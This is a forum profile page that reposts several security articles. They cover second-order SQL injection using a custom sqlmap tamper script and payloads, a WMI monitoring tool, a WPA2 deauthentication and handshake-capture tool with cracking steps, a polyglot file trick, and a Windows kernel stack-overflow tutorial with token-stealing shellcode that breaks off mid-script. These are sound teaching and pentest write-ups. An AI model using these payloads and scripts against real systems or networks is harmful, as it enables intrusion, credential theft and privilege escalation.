-
Posts
18789 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper August 1, 2017 Mehmet Ince Application Security Web applications evolved in the last century from simple scripts to single page applications. Such complex web applications are prone to different types of security vulnerabilities. One type of this vulnerabilities named as secondorder and it occur when an attack payload is first stored by the application on the web server and then later on used in a security-critical operation. As you can imagine, second order vulnerabilities can be occur anywhere. Not only within same application, it may occur completely different web application who may have been using same data sources. Therefore, it’s quite complicated and “almost” impossible to detect them by using automated scanners. In this blog post, I will show you one of the interesting SQLi flaws from our latest pentest project. Our Approach to Manual Pentest The success of an application pentest is related to understanding of your target. For this reason, I usually spend one or two days with my target like a regular user. So I can understand whole workflow. While clicking every single thing and submitting forms, I try to stick with following naming convention for form fields. Give a number for main modules (such as invoice, news, charges etc. Things that you usually see on navigation bar) Let’s say you are browsing a “Ticket” module and you have form that requires a name and email. Username = johnticket1 Email = johnticket1@yopmail.com I developed this approach myself over time. This helps me to track down the source of the data. If I see johnticket1 somewhere else during pentest -single app pentest usually takes 5-6 days – I understand where should I go back and start to thing about attack vectors for second order vulnerabilities. Initial Phase: Detection While browsing my target, I saw following request and response on my Burp Suite log. GET /wishlist/add/9 HTTP/1.1 Host: targetwebapp User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://targetwebapp/ Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D X-Forwarded-For: 127.0.0.1 True-Client-Ip: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 ---- HTTP/1.1 302 Found Date: Tue, 01 Aug 2017 07:31:12 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-cache, private Location: http://targetwebapp/ Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/ Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly Content-Length: 324 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="1;url=http://targetwebapp/" /> <title>Redirecting to http://targetwebapp/</title> </head> <body> Redirecting to <a href="http://targetwebapp/">http://targetwebapp/</a>. </body> </html> I was adding one product to the whislist. If this execution completed successfully, application is redirecting me back to home page. But if I browse an another module ( /wishlist/ ) I was able to see that product with detailed information. There was thing that caught my attention. Why am I seeing a new Set-Cookie parameter on HTTP response ? In order to make sure about my answer, I try to add several different product ids to wishlist. As a result, I’ve got new Set-Cookie directive for ever single request. I wasn’t logged in. Yet application is capable to track down which product I’ve added. I’m getting Set-Cookie directive whenever I repeat above request with different id. So the answer was obvious, encrypted client side session..! Application is storing those id values of product on my cookie and performs encryption before sending it back to me. I believe my target is a laravel application because XSRF-TOKEN cookie name and cookie encryption are by default for Laravel framework. It’s important to understand that whatever I submit through /wishlist/add/<id> endpoint, it will be stored in my encrypted cookie. If I browse /whishlist/ path then following steps will be followed by application. Take cookie. Decrypt the cookie. Get wishlist array from cookie data. Use this array inside of the query. Show details of desired products. Protip: If you believe that multiple values are used in one sql query. It’s probably used like WHERE id IN (<values>) . Think like a developer! Second Phase : Automated Tools Problems To be honest, neither Burp nor Netsparker couldn’t detect this SQL Injection. In order to make it more clear for you, here is the generic workflow of automated tools. Login to the app or use supplied cookies. Send /wishlist/add/9" and 1=1 -- or /wishlist/add/9'or 1=1-- or /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1-- Those payloads are just example. Automated scanners uses more than this payloads. Calculate time gap between request and response. HTTP response body analysis, etc Wait for out-of-band request. According to the above flow, scanner not gonna see any different HTTP response body. Also there will be NO big time gap between request and response. App just takes input and stores it at somewhere else -encrypted cookie in this case-. When scanner go through evey single URL, eventually it will start to browse /whislist/ where SQL query executed. But tool already messed up sql sytnax because of multiple sql payload. Thus, it will see only HTTP 500 error and that’s all. Third Phase: Make SQLMAP “great” Again Here is the first 5 HTTP request generated by sqlmap. Especially first 2 remain same all the time. ~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 [11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')# [11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:57] [INFO] testing if the target URL is stable [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic [11:48:58] [PAYLOAD] 9(..,)),('" [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [11:48:58] [PAYLOAD] 9'AGZHkY<'">Bubyju [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:59] [INFO] testing for SQL injection on URI parameter '#1*' [11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305 [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:00] [PAYLOAD] 9 AND 5896=8011 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:00] [PAYLOAD] 9 AND 3274=3274 [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP [11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC If you look closer to the first 2 payload, you will see that sqlmap try to detect WAF and then encoding forced by the application. After that, it try to find out syntax form of sql query by sending multiple payload one by one. The problem is, all of those payloads will be stored on cookie and that means whenever sqlmap reachs to --second-order path, it will see HTTP 500 error. Also first request already messed up with sql syntax. That means sqlmap will see error for the rest of the attack. So we need to provide a fresh session for every single HTTP request generated by sqlmap. I’ve done that by implementing custom tamper script. Following HTTP request and response is our way to force application to initiate a new session. GET / HTTP/1.1 Host: targetwebapp User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 X-Forwarded-For: 127.0.0.1 True-Client-Ip: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 --- HTTP/1.1 200 OK Date: Tue, 01 Aug 2017 06:31:36 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/ Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 22296 Can do following steps. Send request to the home page without suppling any cookie. Parse Set-Cookie and get XSRF-TOKEN and SESSION . Update HTTP request generated by sqlmap. So every single detection attempt of sqlmap gonna have fresh session. When sqlmap try to reach /wishlist/ after sending payload, response from /wishlist/ will be related to the only previous payload. I strongly suggest you yo use https://github.com/h3xstream/http-script-generator . It’s implemented by Philippe Arteau. I’ve met with him at Black Hat Europe 2015 arsenal stand . This extension generates scripts to reissue a selected request. Here is my sqlmap tamper module. It send HTTP request to the homepage and retrieves new cookie values. As a final step, it updates Cookie value of HTTP request generated by sqlmap. #!/usr/bin/env python """ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import requests from lib.core.enums import PRIORITY from random import sample __priority__ = PRIORITY.NORMAL def dependencies(): pass def new_cookie(): session = requests.Session() headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"} response = session.get("http://targetwebapp/", headers=headers) XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0] SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "") return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION) def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["Cookie"] = new_cookie() return payload sqlmap git:(master) ✗ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py ... Database: XXX [12 tables] +------------------------------------------------------+ | categories | | comments | | coupon_user | | coupons | | migrations | | order_product | | orders | | password_resets | | products | | subscribers | | user_addresses | | users | +------------------------------------------------------+ Conclusions Use automated scanners but don’t trust the result. Hire ninjas who have really good experience at manual application pentesting. If you are a pentester, tools are something to help you. But in the end, you are the one who is getting job done. Approach matters. MEHMET INCE Master Ninja @ Prodaft / INVICTUS Europe. Sursa: https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/
-
WMIMon This command line tool allows to monitor WMI activity on Windows platform. If you don't have Visual Studio to build it, you can download binaries from https://github.com/luctalpe/WMIMon/blob/master/Downloads/WMIMon_Binaries.zip Features It is a real-time ETL consumer for the WMI-Activity event log channel. It will allow to also get information about the WMI client process (executable). You can specify a regular expression to filter and limit output to a specific executable,username,client computername, Process ID,query. Scenarios This tool may be useful for several scenarios: Finding which executable/computer/user are executing specific queries and putting load on your system Learn WMI queries done by your components or a component tha you need to troubleshoot Execute a specific script when a WMI error code is returned to a client Sample 1 Allow to view all WMI activity C:\Temp>WMIMOn ***** *** Successfully Created ETW Session WMITrace_{1B701051-0E73-4EEE-85B7-567AC21B1E55} ***** *** Successfully Added Provider to ETW Session ***** 14:38:22.372 Grp=125426 _ClientProcessId=3092 [MsMpEng.exe] LUCT10 NT AUTHORITY\SYSTEM IWbemServices::Connect ***** 14:38:22.376 Grp=125427 Op=125428 _ClientProcessId=3092 [MsMpEng.exe] LUCT10 NT AUTHORITY\SYSTEM Start IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct ***** 14:38:22.380 Stop Op=125426 0x0 ***** 14:38:22.380 Stop Op=125428 0x0 Sample 2 Will monitor all queries containing CreateSnaphost. When this query is executed, the prowershell script listvar.ps1 is executed.This script will display all WMIMON powershell variable and will display informations for the WMI current process ($WMIMOM_PID variable) PS C:\temp\WMIMon> type .\listvar.ps1 ls variable:WMI* get-process -ID $WMIMON_PID PS C:\temp\WMIMon> .\WMIMon.exe "-filter=.*Virtual.*CreateSnapshot" "-action=.\listvar.ps1" Parsing: filtering on .*virtual.*createsnapshot Parsing: Powershell action when filter is found : .\listvar.ps1 ***** *** Successfully Created ETW Session WMITrace_{81830E71-72D7-4228-94CE-A02FE99A01B8} ***** *** Successfully Added Provider to ETW Session ***** 14:46:46.615 Grp=12388022 Op=12388023 _ClientProcessId=3448 [mmc.exe] LUCT2016 LUCT2016\luct Start IWbemServices::ExecMethod - root\virtualization\v2 : \\.\ROOT\virtualization\v2:Msvm_VirtualSystemSnapshot Service.CreationClassName="Msvm_VirtualSystemSnapshotService",Name="vssnapsvc",SystemCreationClassName="Msvm_ComputerSys tem",SystemName="LUCT2016"::CreateSnapshot Name Value ---- ----- WMIMON_PID 3448 WMIMON_EXECUTABLE mmc.exe WMIMON_COMPUTER LUCT2016 WMIMON_USER LUCT2016\luct WMIMON_STOPSTATUS 0 WMIMON_ACTIVITY 14:46:46.615 Grp=12388022 Op=12388023 _ClientProcessId=3448 [mmc.exe] LUCT2016 LUCT201... WMIMON_RELATEDACTIVITY Id : 3448 Handles : 1715 CPU : 17070.078125 SI : 2 Name : mmc ***** 14:46:46.659 Stop Op=12388023 0x0 Usage WMItrace.exe is a basic C++ version without any filtering capability WMIMON.exe is a .Net tool with all the features. You need to copy WMIMonC.dll in the same directory c:\Temp>WMImon /? Parsing: Invalid argument /? Usage: WmiMon [-filter=regular_expression_string] [-stop=start|end|none] [-ifstopstatus=hexadecimal_value] [-log=all|filter] [action=pipeline] default WmiMon [-filter=.*] [-stop=none] [-log=all] will monitor WMI activity. By default all WMI activities are displayed. You can filter the output with the -filter switch. You can stop the application : - if the filtering is successfull. Stop will occur at activity startup if -stop=start is specified. If -stop=end is specified we will wait for the end of the activity to stop the monitoring Warning : if many records match the filtering pattern , memory usage may increase - if the filtering is successfull and _ifstopstatus condition is meet Warning : if many records match the filtering pattern , memory usage for this query may be hudge For all filtered items or if a stop condition is meet , the pipeline action will be executed Powershell variables WMIMON_* will be set in Powershell runspace to reflect the current WMI activity. Your Powershell actions may use these variables (client PID, client computer, client user, stop status, WMI query,...) N.B: WMIMon is based on RealTime ETL notification. ETL infrastructure doesn't guarantee that all events will be received. N.B: WMI Stop operation logging may occur after a delay based on client (get-cim* cmdlets cleanup occurs immediately This is not true with get-wmiobject cmdlet). Sursa: https://github.com/luctalpe/WMIMon
-
Cylon Raider (Formerly Known as Wireless-Attack-Lite) Easy and quick automation of Aircrack-ng "Replay-Attacks", targeting WPA2-PSK encrypted routers (most home NATed networks and many small businesses). Guaranteed to capture the 4-way handshake of a decently populated router in under 10 minutes (at least 1 or 2 people logged onto router to properly de-authenticate and listen for their creds). It can also detect and decloak hidden networks (see UNCLOAK HIDDEN NETWORKS) below Lightweight Version of Wifi-Attack-Autoloader for Outdated Releases of Kali Nethunter Devices(Python 2.7.9) Designed to Capture the Handshake in Record Time so you can GTFO out of that area! RAIDER received a new update on Cinco De Mayo. Substantially simplified menu Less repetitive keystrokes (we all know how lousy tablet keyboards are) Auto-saves the LAST target's parameters in a temporary file(s) to switch between targeting listening and starting your replay-attack (w/o having to enter your data again) Under the hood, substantially improved, and shortened code. In fact most of the modules in the folder are now obsolete. but I keep it around as a resource if I needed something Raider, will soon be ported to ArmsCommander as a forked-update. Who is this for? Anyone stuck with a crappy Asus Nexus 7 Tablet (2012), or any other device no longer officially supported by the Kali Nethunter Project. It sure kept my crappy tablet useful! Anyone dissatisfied with modern GUI versions of Wi-Fi Cracking software (Wifite was supposed to be something awesome, but disappointingly it took damn near forever and did not send enough deauth packets), I can capture the 4-Way WPA2-PSK Handshake in seconds using this, a automated version of Airmon/Aircrack. All it requires is a decent amount of clients on a wireless network for it to work. Sometimes referring back to the command line is a way better idea than rely on some GUI crap. It helps you maintain a better understanding of what is going on (or going wrong). Installation Unzip the contents of the repo (or even better, git clone it) "cd /tmp" "git clone https://github.com/tanc7/Cylon-Raider" Run autoInstallerNethunter.sh "cd /tmp/Cylon-Raider/" "chmod 777 autoInstallerNethunter.sh" "./autoInstallerNethunter.sh" This automatically makes the directory, sets the proper permissions, and also drops the primary scripts into your nethunter device's /root directory (see scripts) Script Features and Recommended Order of Operations Steps 1 to 5 covered here in this video: https://raw.githubusercontent.com/tanc7/Cylon-Raider/master/How-To-Videos/How-To-Video-Wireless-Attack-Lite.webm STEP ONE: Insert External wireless card + OTG cable into Nethunter tablet/phone, and run /root/monitorMode.sh STEP TWO: Run /root/scanMode.sh, wait patiently for all wireless APs to show up, press Ctrl+C to freeze it and copy/paste the BSSID/MAC of the device you want to capture the handshake of STEP THREE: Run /root/targetedMode.sh, enter the Channel and BSSID of the device you are targeted STEP FOUR: Open another nethunter terminal and run /root/replayAttack.sh, usually between 100 to 2000 packets is recommended STEP FIVE: It's done when you see on the top right corner of the terminal "WPA Handshake: BSSID". You can GTFO out of there now GO HOME: And start cracking that password with /root/crack_WPA_handshake.sh, you do not need to be around the attacked AP anymore. Not until you crack that password! Cracking handshake covered here: https://raw.githubusercontent.com/tanc7/Cylon-Raider/master/How-To-Videos/How-To-Crack-Handshake.webm Sursa: https://github.com/tanc7/Cylon-Raider
-
Levels of Inception Browser loads page as index.html HTML contains <script src="#"> tag Script writes <link href="#"> Stylesheet renders background: url() Created by Martin Kleppe, aka @aemkei. Share it on Twitter if you like it. For other creative hacks, visit aem1k.com. How Does it Work? View the page source and watch the network panel to see what is going on. The document starts with the HEX signature "FF D8 FF E1" that identifies the file as a JPEG. The following two bytes define the EXIF header size. Here "0D 3D" leaves space for 3389 bytes. Because the encoding was set to "ISO-8859-1", the first assignemnt ???? = {} is a valid JavaScript expression. The equal sign is not a allowed in CSS selectors but it won't cause the interpretor to stop. The rule inception * { background: url() } is valid CSS and JS at the same time. To avoid errors in JavaScript, we need to hoist the variable "inception" and the function "url". When using href="#", src="#" or url() it points to the same ressource. Line and block comments make it possible to apply the HTML structure and load our script. To render HTML on the first run, the "Content-Type" header must be "text/html". The type will be ignored later, when we refer to it as a JS, CSS and JPEG. Then we include the JPEG image data and close the block comment at the end of the file. Full information: http://incept10n.com/
-
- 1
-
-
Introduction to Windows Kernel Exploitation Part 2: Stack Overflow August 1, 2017 rootkit Overview In the part 1, we looked into how to manually setup the environment for Kernel Debugging. If something straightforward is what you want, you can look into this great writeup by hexblog about setting up the VirtualKd for much faster debugging. In this post, we’d dive deep into the kernel space, and look into our first Stack Overflow example in kernel space through driver exploitation. A shoutout to hacksysteam for the vulnerable driver HEVD, and fuzzySecurity, for a really good writeup on the topic. Setting up the driver For this tutorial, we’d be exploiting the stack overflow module in the HEVD driver. Download the source from github, and either you can build the driver yourself from the steps mentioned on the github page, or download the vulnerable version here and select the one according to the architecture (32-bit or 64-bit). Then, just load the driver in the debugee VM using the OSR Loader as shown below: Check if the driver has been successfully loaded in the debugee VM. There’s also a .pdb symbol file included with the driver, which you can use as well. Once the driver is successfully loaded, we can now proceed to analyze the vulnerability. Analysis If we look into the source code of the driver, and see the StackOverflow.c file, hacksysteam has done a really good job in demonstrating both the vulnerable and the secure version of the driver code. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #ifdef SECURE // Secure Note: This is secure because the developer is passing a size // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence, // there will be no overflow RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else DbgPrint("[+] Triggering Stack Overflow\n"); // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability // because the developer is passing the user supplied size directly to // RtlCopyMemory()/memcpy() without validating if the size is greater or // equal to the size of KernelBuffer RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } Here we see that in the insecure version, RtlCopyMemory() is taking the user supplied size directly without even validating it, whereas in the secure version, the size is limited to the size of the kernel buffer. This vulnerability in the insecure version enables us to exploit the stack overflow vulnerability. Let’s analyze the driver in IDA Pro, to understand how and where the Stack Overflow module is triggered: From the flow, let’s analyze the IrpDeviceIoCtlHandler call. We see that if the IOCTL is 0x222003h, the pointer jumps to the StackOverflow module. So, we now have the way to call the Stack Overflow module, let’s look into the TriggerStackOverflow function. Important thing to note here is the length defined for the KernelBuffer, i.e. 0x800h (2048). Exploitation Now that we have all the relevant information, let’s start building our exploit. I’d be using DeviceIoControl() to interact with the driver, and python to build our exploit. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import ctypes, sys from ctypes import * kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle." sys.exit(0) buf = "A"*2048 bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) Let’s fire up the WinDbg in debugger machine, put a breakpoint at TriggerStackOverflow function and analyze the behavior when we send the data of length 0x800h (2048). 1 2 3 !sym noisy .reload;ed Kd_DEFAULT_Mask 8; bp HEVD!TriggerStackOverflow What we see is, that though our breakpoint is hit, there’s no overflow or crash that occured. Let’s increase the buffer size to 0x900 (2304) and analyze the output. Bingo, we get a crash, and we can clearly see that it’s a vanilla EIP overwrite, and we are able to overwrite EBP as well. Through the classic metasploit’s pattern create and offset scripts, we can easily figure out the offset for EIP, and adjusting for the offset, the script looks like: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import ctypes, sys from ctypes import * kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle." sys.exit(0) buf = "A"*2080 + "B"*4 + "C"*220 bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) Now that we have the control of EIP and have execution in kernel space, let’s proceed with writing our payload. Because of the DEP, we can’t just execute the instructions directly passed onto the stack, apart from return instructions. There are several methods to bypass DEP, but for the simplicity, I’d be using VirtualAlloc() to allocate a new block of executable memory, and copy our shellcode in that to be executed. And for our shellcode, I’d be using the sample token stealing payload given by the hacksysteam in their payloads.c file. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pushad ; Save registers state ; Start of Token Stealing Stub xor eax, eax ; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS:[0x124] mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process _EPROCESS structure mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad ; Restore registers state Basically this shellcode saves the register state, finds the current process token and saves it, then finds the SYSTEM process pid, extracts the SYSTEM process token, replace the current process’s token with the SYSTEM process token, and restore the registers. As Windows 7 has SYSTEM pid 4, the shellcode can be written as: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import ctypes, sys, struct from ctypes import * kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(0) shellcode = "" shellcode += bytearray( "\x60" # pushad "\x31\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124] "\x8b\x40\x50" # mov eax,[eax+0x50] "\x89\xc1" # mov ecx,eax "\xba\x04\x00\x00\x00" # mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx "\x75\xed" # jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx "\x61" # popad ) ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode))) shellcode_final = struct.pack("<L",ptr) buf = "A"*2080 + shellcode_final bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) But we soon hit a problem here during execution: We see that our application recovery mechanism is flawed, and though our shellcode is in memory and executing, the application isn’t able to resume its normal operations. So, we would need to modify and add the instructions that we overwrote, which should help the driver resume it’s normal execution flow. Let’s analyze the behaviour of the application normally, without the shellcode. We see that we just need to add pop ebp and ret 8 after our shellcode is executed for the driver recovery. The final shellcode, after this, becomes: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(0) shellcode = "" shellcode += bytearray( "\x60" # pushad "\x31\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124] "\x8b\x40\x50" # mov eax,[eax+0x50] "\x89\xc1" # mov ecx,eax "\xba\x04\x00\x00\x00" # mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx "\x75\xed" # jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx "\x61" # popad "\x31\xc0" # xor eax,eax "\x5d" # pop ebp "\xc2\x08\x00" # ret 0x8 ) ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode))) shellcode_final = struct.pack("<L",ptr) buf = "A"*2080 + 